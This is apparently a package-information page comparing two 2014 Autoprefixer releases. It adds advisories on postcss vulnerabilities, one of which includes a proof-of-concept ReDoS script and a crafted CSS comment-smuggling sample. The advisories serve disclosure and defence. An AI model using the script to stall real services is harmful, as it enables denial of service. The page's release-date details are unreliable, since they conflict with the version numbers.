Autoprefixer is a powerful CSS post-processor that automatically adds vendor prefixes to your CSS rules, ensuring cross-browser compatibility and saving developers valuable time. Looking at versions 1.1.20140327 and 1.1.20140403, we observe subtle yet important differences that could impact development workflows. Both versions share the same core functionality, description, dependencies like postcss and fs-extra, and general development dependencies such as nib, mocha, stylus, browserify, and coffee-script.
However, the should package sees an update from version 3.1.4 to 3.2.0, implying potential improvements or bug fixes within the assertion library that could benefit testing suites. browserify also gets bumped from 3.33.0 to 3.38.0, incorporating possible enhancements in browser-side module bundling, potentially leading to optimized JavaScript delivery for web applications. The upgrade shows a continued effort to keep Autoprefixer's toolchain modern.
The other notable difference is the release date: March 27th, 2014, for the earlier version and April 4th, 2014, for the newer one. This seven-day gap signifies incremental improvements or bug fixes addressed in the newer version based on user feedback or internal testing. Developers seeking the most stable and up-to-date experience should opt for version 1.1.20140403, benefitting from the accumulated improvements and the latest iterations of its underlying dependencies. The release date offers insight into choosing the right release with features, fixes or performance improvements.
All the vulnerabilities related to the version 1.1.20140403 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.